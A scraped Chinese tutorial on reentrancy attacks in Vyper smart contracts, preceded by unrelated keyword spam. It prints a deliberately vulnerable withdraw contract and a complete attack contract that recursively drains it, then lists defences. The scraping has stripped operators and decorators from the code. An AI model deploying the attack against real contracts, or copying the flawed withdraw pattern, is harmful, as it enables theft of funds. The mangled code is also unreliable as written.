用vuejs做网站,月季花app是哪家公司开发的,淘宝网站那个做的,亿唐为什么2005年做虚拟网站什么是重入攻击
Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时#xff0c;就会发生重入攻击。然后#xff0c;不可信合约会递归调用原始函数#xff0c;试图耗尽资金。
当合约在发送资金之前未能更新其状态时#…什么是重入攻击
Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时就会发生重入攻击。然后不可信合约会递归调用原始函数试图耗尽资金。
当合约在发送资金之前未能更新其状态时攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击导致损失了6000万美元。
重入攻击工作原理
重入攻击涉及两个智能合约。一个是易受攻击的合约另一个是攻击者的不可信合约。 重入攻击场景
易受攻击的智能合约有10个ETH。攻击者使用存款函数存入1个ETH。攻击者调用提取函数并将恶意合约作为接收者。现在提取函数将验证它是否可以执行
攻击者在其余额上有1个ETH吗是的因为他们的存款。向恶意合约转移1个ETH。注意攻击者的余额尚未更新恶意合约接收到ETH后的回退函数再次调用提取函数。
现在提取函数将再次验证它是否可以执行
攻击者在其余额上有1个ETH吗是的因为余额尚未更新。向恶意合约转移1个ETH。如此反复直到攻击者耗尽合约中的所有资金。
Vyper重入攻击
可能大家对solidity的智能合约重入攻击比较熟悉本次文章中我们将以Vyper的代码展示重入攻击的漏洞。
Vyper存在重入攻击的代码示例
# version 0.3.2
notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contracts attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
# notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# notice Function to deposit ETH into the contract
external
payable
def deposit():self.balances[msg.sender] msg.value# notice Function to withdraw the ETH deposited into the contract
external
def withdraw():bal: uint256 self.balances[msg.sender]assert bal 0, This account does not have a balance# dev Send the users balance to them using raw callraw_call(msg.sender, b, valuebal)# dev Set users balance to 0self.balances[msg.sender] 0# notice Helper function to get the balance of the contract
external
view
def getBalance() - uint256:return self.balanceVyper利用上述重入漏洞的攻击合约
# version 0.3.2
notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
# notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() - uint256: view# notice The address where the Etherstore contract is deployed
victim: public(address)# notice Set the victim address
external
def setVictim(_victim:address):self.victim _victim# notice Default is called when EtherStore sends ETH to this contract.
external
payable
def __default__():# dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() as_wei_value(1, ether):IEtherstore(self.victim).withdraw()external
payable
def attack():assert msg.value as_wei_value(1, ether), Must send 1 ETHIEtherstore(self.victim).deposit(valueas_wei_value(1, ether))IEtherstore(self.victim).withdraw()# notice Helper function to get the balance of the contract
external
view
def getBalance() - uint256:return self.balanceVyper重入漏洞防御措施 使用 send() 代替 call()重入攻击将失败因为 send() 不会转发足够的 gas 进行下一步操作。 使用 nonreentrant(key) 修饰符在你的提取函数上应用此修饰符将阻止重入攻击。
总结
在这篇文章中我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁当合约在发送资金之前未能更新其状态时攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见在Vyper智能合约中同样应该注意
